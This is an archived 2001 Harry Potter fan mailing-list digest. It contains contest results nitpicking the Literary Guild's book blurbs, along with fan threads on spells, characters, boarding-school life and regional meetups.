From: joym999 at aol.com (Joy M)
Date: Sun, 09 Sep 2001 05:31:13 -0000
Subject: HP4GU Contest #13 results
Message-ID: <9neur2+n7kq@eGroups.com>

No: HPFGUIDX 25806

Here are the results of Contest #13, in which you were asked to find 
at least 25 errors in the Literary Guild's descriptions of the 4 HP 
books.  I'm sure no one will be surprised to hear we have a real 
bunch of LOONs around here, fingers poised over their keyboards, 
ready to nitpick at the drop of a hat, and an excellent job of 
tearing apart the horrible Literary Guild book descriptions was done 
by all of them.  In fact, as a service to humankind, I am thinking of 
forwarding these results to the Literary Guild.

Contest participants were: Natalie, Julia, Jen (jenP_97), JB 
bonds0097 (Alfredo Ram?rez), Robin Warner, Neth, CMC, Witchwanda, 
Herald Talia, Catherine Coleman, Malabud aka Jeanine, Little lama, 
David Frankis, Martin Smith, and Amber.  (I hope I haven't forgotten 
anyone.) All of them (except, of course, for David Frankis) have been 
initiated into the ranks of L.O.O.N.

The original Literary Guild text is contained in <triangular 
brackets> and a summary of the comments of contest participants are 
reported below each sentence.

HARRY POTTER AND THE GOBLET OF FIRE

<Headline: Harry Potter is back!>

What's the point of the word "Headline" here?
If it's a headline, why isn't it capitalized?
Of course Harry Potter is back, it's a series.

<The wildly popular phenomenon continues The excitement and 
anticipation for the next Harry Potter adventure is growing in leaps 
and bounds.>

There is a period (full stop) missing between "continues" and "The."
"Growing in leaps and bounds" is a meaningless cliche which adds 
nothing to the description of the book.  It's not even correct ? it 
should be "growing BY leaps and bounds"
It should say "excitement and anticipation....ARE growing"
This sentence has got to be one of the most annoying ones I've ever 
read: "The excitement and anticipation for the next Harry Potter 
adventure is growing in leaps and bounds."  Yuck!  Putting aside the 
fact that it's awkward, and the cliche at the end is awful, I can't 
imagine why they're advertising the "next Harry Potter adventure" 
when they're supposed to be describing the current one.
Which adventure are they referring to? Nobody's still looking forward 
to Book 4.
This sentence is unnecessarily repetitive ? excitement AND 
anticipation; growing AND leaps and bounds; not just popular but 
wildly popular, etc.

< What wild and wonderful escapades await the little wizard?>

"Little" wizard?  He's 14, for goodness sake.
This sentence adds absolutely nothing to the description of the book.
This just sounds terrible, and I can't imagine someone who has 
actually read the books writing a sentence like this.  Of course, I 
can't imagine anyone over the age of 18 who's been to college and is 
having any writing published in ANY forum writing a sentence like 
this.

< The fourth in the phenomenally popular Harry Potter series begins 
with the young wizard turning 14, but rumor has it that one of his 
friends may not make it through to see his birthday celebration.>

GoF begins with the Riddle house on a night in August, not with Harry 
turning 14 on July 31.
What rumor?  How come no one ever heard this rumor?
Harry never gets a birthday celebration, and his other friends are 
never around on his birthday.
Cedric is an acquaintance, not a friend.
If the book BEGINS with his birthday, how could the plot involve the 
possibility that someone will not make it UNTIL his birthday?
The words "phenomena" (and its relatives) is used far too often.
Fourth what?  Shouldn't the word "book" appear in this sentence 
somewhere?

< You'll have to read to find out the juicy details!>

Juicy?  This isn't a romance novel, nor the National Enquirer.
The death of Cedric Diggory is hardly a "juicy" detail.
Shouldn't this sentence say "You'll have to read IT to find out the 
juicy details!" As it reads now, it implies that just reading in 
general will help me find out juicy details.  Don't I have to read a 
specific book, like, oh I don't know, "Harry Potter and the Goblet of 
Fire"? 

HARRY POTTER AND THE PRISONER OF AZKABAN

<Harry Potter returns with his friends for their third year at 
Hogwarts School of Witchcraft and Wizardry.>

This sentence is awkwardly constructed.

< And boy, are their hands full!>

What are their hands full of?
While this is grammatically correct, the use of "boy" as an 
interjection is usually limited to speech or dialogue rather than 
descriptive writing.
You shouldn't start a sentence with AND.
This is yet another useless sentence.

< As with all third years of study, there is much more work to do and 
the pressure is on.>

Huh? What kind of generalization is this?  Since when does the third 
year of school have a reputation for being more difficult than any 
other?  There is not *much* more work to do for Harry and Ron, only 
for Hermione.

< As if that wasn't bad enough, Harry finds out that an evil wizard 
has escaped from Azkaban prison and is after him!>

Inappropriate tense change ? uses "is" in previous sentence and "was" 
in this sentence to refer to the same time period.
While the phrase "As if that wasn't bad enough" is not exactly 
incorrect, the use of the subjunctive tense would be preferable 
here: "As if that weren't bad enough..."
He doesn't 'find out' (because it isn't true) - he only hears that 
this has happened.

< Combine that with having to live with his horrid aunt, uncle and 
annoying cousin Dudly and it's enough to make the head on Harry's 
flying broom spin.>

Dudley, not Dudly.
There should be a comma after "Dudly."
He doesn't really live with the Dursleys any more, he only spends 
summers with them.
Brooms don't have heads; they have tails and handles.
And even if they did have heads, why would they spin?
If the pressure is as bad as this description says, shouldn't it be 
Harry's head that would be spinning?
"Annoying" is not really the best description of Dudley.  He's 
spoiled, and a bully, and does his best to make Harry's life 
miserable ? that's a lot worse than annoying.
How is having Sirius Black chasing him ever "combined with" having to 
live with the Dursleys during the summer?   He's left Privet Drive 
before he finds out that Sirius is after him.
It is the context of this paragraph which is particularly annoying ? 
it reads as though Hogwarts isn't a boarding school, and that he is 
coping with his studies and Sirius Black as well as having to live at 
home with the Dursleys.

< Can Harry outsmart the evil wizard and save his friend's beloved 
pet from a death sentence?>

Does this refer to Scabbers or Buckbeak?
Scabbers' getting harassed by Crookshanks is hardly a death sentence, 
and when Sirius and Lupin ARE ready to kill him, he's no longer Ron's 
beloved pet
Buckbeak isn't exactly a pet.
This sentence implies that the "evil wizard" has put the pet under 
the death sentence, but that doesn't make sense.  The MoM puts 
Buckbeak under a death sentence.
They imply that Sirius Black is an "evil wizard." How is outsmarting 
him part of the plot?

HARRY POTTER AND THE CHAMBER OF SECRETS

<There has never been, in the history of U.S. publishing, a 
children's book phenomena like J.K. Rowling's Harry Potter and the 
Sorcerer's Stone.>

Phenomenon, not phenomena.  ("Phenomena" is plural.)
And how many times are they going to use the word "phenomena" anyway?

< Her debut novel has already spent six months on The New York Times 
bestseller list!>

A lot more than six months by now.

< With new torments and horrors and a little magic "floor" powder, 
Harry and his chums return once again, casting a spell ovr children 
and adults alike.>

"Floo" powder, not "floor" powder, and with a capital F.
Floo powder is only used for the trip to Diagon Alley, not all over 
the book like cheap confetti. 
"Over," not "ovr."
The phrase "return once again" is redundant, and makes no sense when 
referring to the second book in a series.  It is sufficient to 
say "Harry and his chums return, casting a spell...."
I really don't see this as accurately characterizing the series. New 
torments and horrors? Yes, they are there, but I'd hardly classify 
the series as a horror series. 

<Harry's about to start his second year at Hogwarts School of 
Witchcraft ad Wizardry.>

Ad wizardry? Harry works for the Daily Prophet?  "And," not "ad."

< But from day one, it seems he's going to have his hands full.>

This is the second time the "hands full" cliche has been used.
Sentences should not start with conjunctions.
This sentence is meaningless and explains nothing about the book.

< There's a stuck-up new professor, Gilderoy Lockheart; a more 
determined Draco Malfoy; a spirit named Morning Myrtle who haunts the 
girls' bathroom, and the unwanted attentions of Ron Weasley's younger 
sister, Giny.>

"Lockhart," not "Lockheart;" "Moaning Myrtle," not "Morning 
Myrtle;" "Ginny," not "Giny."
(Does "Giny" rhyme with "Tiny"?)
There is nothing to indicate that Ginny's attentions are unwanted ? 
ignored, maybe, but not necessarily unwanted.
It is not accurate to call Lockhart "stuck-up," since that implies 
disdain for people.  It is more accurate to describe Lockhart as 
egocentric, self-involved, vain, pompous, arrogant, or meddling.
Myrtle is more accurately described as a ghost, not a spirit.
There is more than one girl's bathroom at Hogwarts, so the phrase 
should be "...Moaning Myrtle who haunts A girl's bathroom."
The use of colons and commas is inconsistent in this sentence.
It is not really accurate to say Draco is "more determined."  More 
determined to do what?

< But that's nothing--the real problem arises when Hogwart students 
begin turning into stone!>

"Hogwarts" not "Hogwart."
They don't really turn to stone, they are petrified

< Who could be so evil?>  < May it's Hagrid the Gamekeeper?>

"Maybe," not "May."
This isn't a question.
The word gamekeeper does not need to be capitalized, as it's not 
Hagrid's title.  (Hagrid's title is Keeper of the Keys and Grounds.)

< Or maybe even Harry himself?>

This isn't a question, either.
This isn't a complete sentence ? it doesn't have a verb.
Sentences, even incomplete ones, shouldn't start with a conjunction.
Are there any readers who believe that Harry is the one who is "so 
evil?"

<J.K. Rowling has become as famous for her monsters and wizards as 
she has for the way her first novel, Harry Potter and the Sorcerer's 
Stone, was conceived.>

This makes no sense.  She is as famous for her monsters and wizards 
as she is for how the book was conceived?  That implies that the way 
the HP books were conceived is the most well-known thing about the HP 
books, more than the content of the books themselves.  If she is 
equally famous for both, then if her books had all turned out really 
crummy, the way in which she wrote them would have still made her 
famous.
This is just an exceedingly torturous, run on sentence. The general 
rule is one thought per sentence. Commas do not cure all ills.
When it was conceived, it was Harry Potter and the Philosopher's 
Stone.

< Scribbling on scraps of paper, Towling wrote most of the manuscript 
sitting in a cafe while her infant daughter napped beside her!>

"Rowling," not "Towling."
She didn't scribble on scraps of paper, she wrote on pads of paper.
Tortuous use of the passive voice was written here.
While JKR does, reportedly, do a lot of writing in cafes (or did, 
anyway) the HP books were "conceived" during a train ride.
I'm sorry I haven't read all about how JKR wrote her first book, so I 
use hard logic instead. I find it hard to believe that her daughter 
was napping all the time. Surely the noise of the caf? would wake her 
up ever so often? Or else, if JKR wasn't at the caf? most of the 
time, her daughter could nap, but then the statement would be 
incorrect. Either way, this counts a factual error in my book. 

<The magic is back!>

Another meaningless sentence.  Does this person get paid by the word 
for these stupid reviews?


HARRY POTTER AND THE SORCERER'S STONE

<Remember that magical feeling you got the first time you read Roald 
Dahl's Charlie and the Chocolate Factory?>

[Note: In defense of the Literary Guild, it has to be pointed out 
that they correctly italicized Charlie and the Chocolate Factory and 
the other titles; but the italics didn't translate to Yahoo's format.]

< I never expected to feel that way about a book again--until I 'met' 
11-year-old orphan, Harry Potter.>

The double hyphen is not really necessary here, and the single 
quotation marks around "met" are probably not necessary either.  Come 
to think of it, neither is the comma after the word "orphan."

< Originally, I brought the book home for my finicky 10-year-old 
nephew, David.>

What does this sentence add to the review?

< But it wasn't long before I found myself sneaking off to read it 
myself.>

The second "myself" redundant, unless we are supposed to be impressed 
by the fact that this reviewer has the ability to read books by 
his/herself.  (Which, judging by her/his English skills, probably is 
quite an accomplishment.)
This reviewer just loves to start sentences with conjunctions!

< J. K. Rowling swept me away to a mystical world of powerful 
wizards, deadly plants, potent potions, gentle giants and beautiful 
unicorns.>

The only unicorn is the dead and bloody one that Quirrel is sucking 
blood from ? that is not what most people would call beautiful.
"Mystical" world?  What's mystical about it?  Try magical, 
fascinating, delightful, imaginative, etc., but not mystical.  It 
doesn't become mystical until Sybill joins the cast in PoA.
Note: a lot of people said that it was a mistake to include "gentle 
giants" here because we don't find out that Hagrid is half-giant 
until GoF.  However, JKR refers to Hagrid as "the giant" several 
times in Chapter 4, before Harry learns his name, so I am letting 
this one slide.

< Already a huge hit overseas, Harry is poised to take America by 
storm.>

Poised?  The Harry Potter books have already "taken America by 
storm." Isn't that why the Literary Guild is selling them?

< Here's your chance to say that you and your family read Harry 
Potter and the Sorcerer's Stone before it became a classic.>

Saying "before it became a classic" means, at least in this context, 
that it already is a classic, and therefore, you and your family have 
already missed the opportunity to read it before, unless you have a 
time-turner, which you don't. 

< Harry's is an adventure that is not to be missed!>

But *you* missed it since I don't believe you have really read it.

GENERAL COMMENTS:

Generally, absolutely excruciating to read. Very repetitive in style, 
concentrates on things which do not seem too important, and instead 
doesn't mention things such as Quidditch, Dumbledore and Snape, 
Voldemort, the Triwizard Tournament, any of Harry's history ? the 
reviewer doesn't
even mention the Dursleys until Prisoner of Azkaban. I'd like to 
write it myself (and most of the children I know could do better).

I'd love to kidnap this person, tie him up, and delete the Thesaurus 
option on his computer.

I have many problems with the way this is written.  The overuse of 
words like phenomenon, phenomenally, and phenomena, for instance, 
really sounded awkward and odd.  It's hard to tell if the person who 
wrote this actually read the books or is just relaying second-hand 
information. I'm a professional proofreader, and this copy wouldn't 
have left my desk without a lot of red ink on it!

The biggest error of them all is letting whoever wrote this keep 
their job. They need to go back and take an English class!




From starling823 at yahoo.com  Sun Sep  9 07:13:37 2001
From: starling823 at yahoo.com (Starling)
Date: Sun, 9 Sep 2001 03:13:37 -0400
Subject: OT -- Binghamton Univ. Students!!
References: <999936062.1985.12331.l8@yahoogroups.com>
Message-ID: <002401c138fe$f2ec36e0$c574e280@cc.binghamton.edu>

No: HPFGUIDX 25807

Hey fellow Binghamton students!

'tis I, Abbie, looking for a merry crowd of fellow fanatics to go see the
movie with.
I have seen several people mention they are from BU, and I don't know any of
you guys.  We must fix that <g>.  And Ken, please let us know how your
composition project is coming -- i'd be more than willing to help you
perform it ;-).
Anyway, I was thinking about trying to convince the Hoyts theatre to do a
midnight showing -- depending on how many people we can all get together, we
could either all meet up at the theatre or we could even look into renting
our own theatre out for the night...
so do please email me **off list** (do keep the mods happy.  i'm afraid of
neil's hairnet) and once i see how many of us are in the area (anyone from
the southern tier who's not a binghamton student -- hey, write too!  the
more the merrier <g>) we can start tossing some ideas around.
You can mail me either at my yahoo acct. or bg22742

Abbie, who is wishing more and more for a wand to make the new clock tower
look *normal*...

starling823 at yahoo.com
69% obsessed with HP and loving it
"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From hannata at saunalahti.fi  Sun Sep  9 07:26:50 2001
From: hannata at saunalahti.fi (Mirzam Black)
Date: Sun, 09 Sep 2001 07:26:50 -0000
Subject: Fudge/Malfoy/Imperius
In-Reply-To: <9nen09+spag@eGroups.com>
Message-ID: <9nf5jq+p9ml@eGroups.com>

No: HPFGUIDX 25808

--- In HPforGrownups at y..., Schlobin at a... wrote:
> A friend of mine brought up the idea that Cornelius Fudge might be
> now or in the future controlled by Lucius Malfoy via the Imperius 
> curse...
> 

Well, there might be this parallel.. Once upon a time there was a 
Pope called Cornelius and he died. The next Pope was called Lucius. 
This might mean, that Cornelius Fudge is going to be either dead 
(killed perhaps) or ruled by Lucius. If Cornelius is going to die, 
Lucius might follow his foot-steps in Ministry of Magic..

There is so much this kind of parallels, I'm confused already..

-Mirzam

PS. My grandmother celebrates her 80th birthday today..




From aiz24 at hotmail.com  Sun Sep  9 07:29:35 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sun, 09 Sep 2001 07:29:35 -0000
Subject: C.R.A.B. - SB Strange Behavior - PoA ad - PP house - Fudge under control
Message-ID: <9nf5ov+i84g@eGroups.com>

No: HPFGUIDX 25809

Katzefan asked:

>OK, now I know what L.O.O.N is; please what is C.R.A.B.?

Cut Ron a Break, founded by Lisa I. in msg. #25575, too recently to be 
included in the VFAQs.  We can see if it catches on.  Come on, folks, 
only 2 Sickles to join!

Mary proposed:

> I think I have grounds for believing that Sirius was in Gryffindor 
> aswell.  Didn't he know where the Gryff. common room was when he was 
> after Pettigrew? The first time when he attacked the Fat Lady and 
> again when he got past Sir Cadogan.   

I just want to add to the Crookshanks possibility that there are other 
things Sirius would need to know that he probably doesn't know on his 
own:  Ron's house and his year.  They are not in the Daily Prophet.  
It's possible that Sirius knew Molly and Arthur, remembered that their 
baby Ron was born shortly before Harry, and is making an educated 
guess that he's a Gryffindor like his parents.  But more likely, he 
has to get some of this info after his escape from Azkaban, either by 
eavesdropping or by talking to Crookshanks.

Brad wrote:

> I saw an odd thing at my local 7-Eleven. It was ad advertisement on
> the door. It had a copyright of 2001, and the picture from the
> Prisoner of Azkaban on it. And just below the picture, it said "Look
> for the new Harry Potter book on September 11."

Heidi's answer has to be right (yes, you Brits got the PoA paperback 
long before we did) and I just have to say that that is a really 
scummy advertising practice.

Seren wrote:

> However,  while James, Sirius, and Remus fit well in the Gryffindor 
profile,
> Peter, the double-crossing rat, didn't. I strongly believe that he
> was in Slytherin instead,

Welcome, Seren!  The trouble I always have with the idea that Peter 
was in Slytherin is that I'd think it would make him the natural 
suspect when they knew there was a spy.  It doesn't seem to have 
crossed either Remus's or Sirius's minds, nor James's nor Lily's, 
obviously.  An interHouse friendship I can accept, but would they have 
placed such unquestioning trust in a Slytherin?  

Susanna wrote:

> I think that Fudge is already controlled by Malfoy,
> not by Imperius, but in another way, but this is part
> of my fanfic and so I can't say it- damn!!!

I don't know your fanfic (sorry!), but he seems to me to be controlled 
by Malfoy in a way Muggles understand very well: $$$$$ (sorry, no 
pound sign on my keyboard <g>)

Amy Z

in honor of the new List Elves:
--------------------------------------------
 "Winky is having trouble adjusting, Harry 
 Potter," squeaked Dobby confidentially.
                 -HP and the Goblet of Fire
--------------------------------------------




From neilward at dircon.co.uk  Sun Sep  9 12:28:43 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sun, 9 Sep 2001 13:28:43 +0100
Subject: ADMIN: HPfGU regional groups/meeting up
References: <014c01c13898$822c2480$213570c2@c5s910j>
Message-ID: <014501c1392a$f7577c40$f93670c2@c5s910j>

No: HPFGUIDX 25810

I said:
http://groups.yahoo.com/group/HPFGU-Texas  (Mod: Amanda Lewanski)

CORRECTION: The moderator of the Texas group is Elizabeth Davey. Apologies.

Since I posted that message, Danette Schardt-Cordova has set up a group for
Kentucky/Tennessee, the details of which will be added to the Bookmarks in
due course (and she will be posting details to OT Chatter/Announcements).

Bookmarks for regional groups and other things:
http://groups.yahoo.com/group/HPforGrownups/links

A link will be added to the VFAQ...

Databases for regional meetings and other things:
http://groups.yahoo.com/group/HPforGrownups/database

You see, whether you live in Texas, London, Germany, Borneo or Binghamton
University, there is probably an HP fan near you.

Neil
________________________________________
Flying Ford Anglia
Mechanimagus Moderator





From cynthiaanncoe at home.com  Sun Sep  9 12:49:47 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sun, 09 Sep 2001 12:49:47 -0000
Subject: Priori Incantantem/Deletrius
In-Reply-To: <9nc42j+ultp@eGroups.com>
Message-ID: <9nfohb+li57@eGroups.com>

No: HPFGUIDX 25811

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> I was reading the Lexicon (again!) and something about the wand 
order 
> mystery occured to me.  The Lexicon raises the issue of whether V 
> must have tried to kill Harry before killing James and Lily based 
on 
> the wand order in GoF, because the spell that rebounded onto V 
didn't 
> come out of V's wand in the graveyard scene.
> 
> I was wondering whether priori incantantem causes the wand to 
> regurgitate all past spells, or only all *successful*  spells.  
> In "The Dark Mark", Amos Diggory uses "Prior Incantato" to 
> discover "the last spell a wand performed."  Dumbledore uses the 
same 
> description in "The Parting of the Ways":  the wand will 
> regurgitate "spells it has performed."  Dumbledore also says that 
V's 
> wand would have regurgitated "the last *murders* the wand 
> performed."  So would a "failed" spell like the one used on Harry 
be 
> considered a spell that was "performed" such that it would be 
> regurgitated?  It certainly didn't result in a murder, as Harry 
> lived.  If not, then the "wand order scene" is entirely consistent 
> with the sequence that V killed James, then Lily, then failed to 
kill 
> Harry.
> 

More evidence that unsuccessful spells aren't regurgitated in Priori 
Incantantem:  In the Graveyard, Voldemort's wand performs the Imperio 
Curse on Harry.  Harry throws of the curse -- making it an 
unsuccessful spell.  The Imperio curse, however, does not come out of 
Voldemort's wand in the Priori Incantantem scene.  

So I (and I seem to be entirely alone in this) still think we need to 
re-think the idea in the Lexicon that the corrected wand order scene 
means that someone killed James and Lilly with Voldemort's wand after 
Voldemort tried to kill Harry.  

Cindy (who is founding Regurgitated Spells of Voldemort Partnership 
(R.S.V.P.), which is seeking members for one knut each)   




From cynthiaanncoe at home.com  Sun Sep  9 12:58:41 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sun, 09 Sep 2001 12:58:41 -0000
Subject: C.R.A.B. - SB Strange Behavior - PoA ad - PP house - Fudge under control
In-Reply-To: <9nf5ov+i84g@eGroups.com>
Message-ID: <9nfp21+5vq8@eGroups.com>

No: HPFGUIDX 25812

Amy wrote:--- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:
> 
> Cut Ron a Break, founded by Lisa I. in msg. #25575, too recently to 
be 
> included in the VFAQs.  We can see if it catches on.  Come on, 
folks, 
> only 2 Sickles to join!
> 

Amy, I would consider joining C.R.A.B. (assuming you'd have me), but 
someone has to make the case for Ron being deserving of a break.

When I first read the books, I was wondering if Ron might be 
something close to a squib.  I can't think of very many instances in 
which Ron proves a talent in a particular branch of magic.  He has 
trouble on Lupin DADA exam and can't throw off the Imperius curse.  I 
don't think he's ever transfigured anything.  His Banished cushions 
don't land in the bin.  He makes up his divination homework.  He 
invents goblins on the test.  Nothing good ever happens to Ron in 
Potions.  He isn't good enough at Quiddich to make the house team, 
even by his third year.  He can't even land on the cushions when 
stunned, for cryin' out loud.  He's good at chess, but even Muggles 
are good at chess.

So Ron seems very nice, courageous and funny, and I'd like to believe 
he's a talented wizard.  But for now, I have my doubts about whether 
Ron has earned a break.  

Cindy (who wonders whether Ron will receive even one O.W.L.)




From prefectmarcus at yahoo.com  Sun Sep  9 13:41:53 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
Date: Sun, 09 Sep 2001 13:41:53 -0000
Subject: Nickelodeon Article
In-Reply-To: <9netj4+p716@eGroups.com>
Message-ID: <9nfrj1+ajgo@eGroups.com>

No: HPFGUIDX 25813

> I am wondering if they are going to make Hermione 
> mean to Neville?  I have always felt like Hermione was more patient 
> and thoughtful toward Neville's feelings that anyone.  Did I get 
the 
> wrong impression from the text?
> 
> Professor J.C. Phlash  

We do not know the context.  Was Trevor being sincere, or was he 
trying to take Hermione down a peg when she was being particularly 
obnoxious before the Troll?  Remember, people were not that nice to 
her until she hooked up with Harry and Ron.

Don't forget, JKR had final approval of all scripts.

Marcus






From vderark at bccs.org  Sun Sep  9 14:04:15 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Sun, 09 Sep 2001 14:04:15 -0000
Subject: Priori Incantantem/Deletrius
In-Reply-To: <9nfohb+li57@eGroups.com>
Message-ID: <9nfssv+cjpn@eGroups.com>

No: HPFGUIDX 25814

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:

> So I (and I seem to be entirely alone in this) still think we need 
to 
> re-think the idea in the Lexicon that the corrected wand order 
scene 
> means that someone killed James and Lilly with Voldemort's wand 
after 
> Voldemort tried to kill Harry.  

Whoa there! You're misunderstanding, and it's myfault for not making 
it clear. There is an explanation of this on top of that page, but I 
think it's not plain enough. Let me explain here and then I'll look 
into making this more understandably on the site.

I am absolutely sure that JKR intended the Priori Incantatem scene to 
read just like we all assumed it did when we first read it: that the 
spells that came out matched the backstory we read in SS and 
receieved hints to in PA. I am sure that she intends for James to 
have been killed first, at the door, then Lily to have been killed 
protecting Harry, then the spell rebounding on Voldemort. The Lexicon 
page that you're referring to is intended to point out that THAT 
ISN'T WHAT THE TEXT IN GF LITERALLY SAYS. In other words, it's a huge 
Flint. When I first wrote that page, there was no evidence to suggest 
that JKR wasn't playing tricky word games with us, leading us on and 
setting us up for some wonderful revelation later. A lot of us really 
hoped that that would happen. But it didn't. The whole wand order 
thing was just a mistake on her part. Now once we've encountered that 
mistake, the other oddities in that chapter suddenly seem likely to 
be simply mistakes as well. There is evidence all through the book 
that it wasn't edited as completely as it should have been. That 
deadline crunch really must have been horrible.

But the fact of the matter is, the text does not indicate that the 
backfired Avada Kedavra spell ever came out of the wand. It just 
doesn't. And as others have pointed out, it was a spell and it did 
get cast and it didn't "fail." I'm sure that JKR just forgot. As 
someone else pointed out, she didn't include the Imperius Curse on 
Harry either. 

I think for me, this whole thing was a bit of a turning point. There 
was a time when I expected amazing things from JKR. After all, she 
had caught me by surprise with Scabbers and Quirrell with the face on 
the back of his head. So I and a lot of other fans were very excited 
to discover what we thought were new clues to bigger mysteries that 
she was going to spring on us one of these days. But instead, it was 
all just a goof, sorry 'bout that. She never even commented publicly 
on it, just let the publishers try rather lamely to fix her lapse in 
later editions. I was very let down and I know that others were too. 

So now I don't expect quite the cleverness from JKR that I once did. 
Now, for example, when we start discussing which house people were 
in, I just figure it's Gryffindor, because it almost certainly is. 
EVERYONE'S in Gryffindor. Whatever. When people express fond hopes 
that Draco might be "redeemed," I don't bother reading them. He won't 
be. He's just a stereotype, part of a House that's just a stereotype.

Don't get me wrong, I love the Harry Potter books. I'm not less of a 
fan. I've just learned to accept the books for what they are, not 
expect more. 

Steve Vander Ark
The Harry Potter Lexicon
http//www.i2k.com/~svderark/lexicon




From tabouli at unite.com.au  Sun Sep  9 13:56:00 2001
From: tabouli at unite.com.au (Tabouli)
Date: Sun, 9 Sep 2001 23:56:00 +1000
Subject: Song melodies, Ron's gambit, blue eyed Harry (:O)
Message-ID: <008801c13939$74f7cac0$e492aecb@price>

No: HPFGUIDX 25815

usergoogol's Hogwarts school song idea:

As I once risked mentioning (without rebuff, moreover!), I thought the Hogwarts school song was silly (and, for me, not clever enough to be funny, either), though this idea is great.  I *did* like the Sorting Hat song, which fits rather well into the melody of "The Wearing of the Green"... to what tune, if any, do Fry and Dale sing the songs?

Lily Solstar:
> If the top position truely reads "mortal peril," then wouldn't the 
Weasleys have known in CoS that Ginny was in danger? I supose one 
could argue that she wasn't quite in *mortal* peril (i.e. she wasn't 
truely in danger of losing her life) during the times she performed 
tasked for Tom Riddle/Voldie. But in the ending scene, when Tom takes 
her down to the Chamber for the last time, surely her hand would have 
been on "mortal peril" then.< 

Good point.  Another thing that's always intrigues me is what really happened to Ron when he was "sacrificed" in the chess game?  Did he lose consciousness, or become inanimate for a while?  Was he too in mortal peril??


Joy M (LOON competition results):
>> < Scribbling on scraps of paper, Towling wrote most of the manuscript 
>sitting in a cafe while her infant daughter napped beside her!>
>
>"Rowling," not "Towling."
>She didn't scribble on scraps of paper, she wrote on pads of paper.

Pads of paper Towelling, perhaps?  (hey, look at my wit, it dazzles, it razzles...)

> I came across the October Nickelodeon magazine.  It
> has a (blue-eyed) photo of Daniel Radcliffe on the cover in his Hogwarts uniform.  

Blue eyed???  SACRILEGE!  A blue-eyed Ginny I can just about tolerate (despite canon evidence of her having brown eyes in CoS), but Harry without green eyes...!  Quite apart from green being my favorite eye colour, JKR has definitely said that his eyes are important.  He had better have been out of role in this photo...

Tabouli.


[Non-text portions of this message have been removed]




From vderark at bccs.org  Sun Sep  9 14:09:10 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Sun, 09 Sep 2001 14:09:10 -0000
Subject: Priori Incantantem/Deletrius
In-Reply-To: <9nfohb+li57@eGroups.com>
Message-ID: <9nft66+t147@eGroups.com>

No: HPFGUIDX 25816

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:

Just a note: the spell cast on the wand in the woods to reveal the 
spells it had cast was NOT exactly the same thing as the Priori 
Incantatem effect. The first one is Prior Incantato, a spell which is 
cast. When wands which are "brothers" fight each other, the result is 
not a spell cast but an "effect," called Priori Incantatem. This 
effect would NOT be reversable by a simple spell, since it's not a 
spell itself.

Steve Vander Ark
The Harry Potter Lexicon
http://www.i2k.com/~svderark/lexicon




From dasienko at email.com  Sun Sep  9 14:38:44 2001
From: dasienko at email.com (dasienko at email.com)
Date: Sun, 09 Sep 2001 14:38:44 -0000
Subject: Molly Weasley A very powerful witch
In-Reply-To: <9n5pba+6qbc@eGroups.com>
Message-ID: <9nfutk+5v3r@eGroups.com>

No: HPFGUIDX 25817

Molly is a powerful witch, no matter what she did before marrying 
Arthur. She has done the most magical thing of all--she has borne and 
raised children who are caring,loyal and loving. 




From keegan at mcn.org  Sun Sep  9 14:52:56 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Sun, 09 Sep 2001 07:52:56 -0700
Subject: [HPforGrownups] Re: Elective Classes
In-Reply-To: <9ne9k9+uit0@eGroups.com>
References: <9ne7ih+a0me@eGroups.com>
Message-ID: <4.2.0.58.20010909074348.00abcca0@mail.mcn.org>

No: HPFGUIDX 25818

At 11:29 PM 9/8/01 +0000, you wrote:
>The RL equivalent to OWLs in the UK are GCSEs [two year course with
>big exams at 16].  It's not unusual to take an odd number of these;
>in the UK, your qualifications are subject specific, rather than a
>general ability 'score', like a GPA.

Thank you for explaining this!  There are times that being an American 
reading the books has its drawbacks.

The whole boarding school concept is weird to me.  I find myself wondering 
if Hogwarts has "Parents Days" where the folks come to check things 
out.   I keep wondering when Homecoming is.  Do parents ever come 
out?  Molly shows up in GoF and, of course, Lucius shows up to cause 
trouble but that's as a governor.

>If the figures in canon add up to 9, there's no
>real reason to 'round this up' to 10; any free time in their schedule
>could easily be filled with Prep lessons/'Free' periods [ie free time
>set aside for homework/smoking behind the bikesheds ;)] which is not
>unusual for 14 - 16 y.o in UK schools.

Since the books have several scenes where they're studying during the day, 
the prep periods makes perfect sense.

Can't you just see Draco and his goons smoking behind the bike 
sheds?  Nah.  Me neither.  No one seems to smoke (hurrah!) - even in the 
pubs.  Traveling from California, land of the smoke-free bars and 
restaurants, and touring in the UK, it's hard to imagine that none of the 
teachers smoke nor do any of the kids.  Sound good to me!  I'll bet Madam 
Maxine has some of those nasty galouse cigarettes tucked away.

Catherine in foggy Albion, CA





From deeblite at home.com  Sun Sep  9 15:58:47 2001
From: deeblite at home.com (Deeblite)
Date: Sun, 09 Sep 2001 11:58:47 -0400
Subject: [HPforGrownups] The Keeper of the Keys
In-Reply-To: <002501c138a0$ef316880$c500a8c0@mshome.net>
References: <9ndtah+91bm@eGroups.com>
Message-ID: <5.1.0.14.0.20010909115757.00b8a470@netmail.home.com>

No: HPFGUIDX 25819

At 09:00 PM 9/8/2001 +0100, you wrote:
>Likewise, what does the games keeper mean??

Games keeper means he takes care of the animals.
>----- Original Message -----
>From: <prefectmarcus at yahoo.com>
>To: <HPforGrownups at yahoogroups.com>
>Sent: Saturday, September 08, 2001 8:59 PM
>Subject: [HPforGrownups] The Keeper of the Keys
>
>
> > What does that mean, exactly?  I don't recall Hagrid ever carrying
> > any keys.  If it is a ceremonial office, the only ceremonial function
> > he seems to perform is to take the first years across the lake at the
> > start of their first term, and deliver them to McGonagall at the
> > great doors.
> >
> > Does anybody else have any further insights?
> >
> > Marcus
> >
> >
> >
> >
> > _______ADMIN________HPFGU_______ADMIN__________
> >
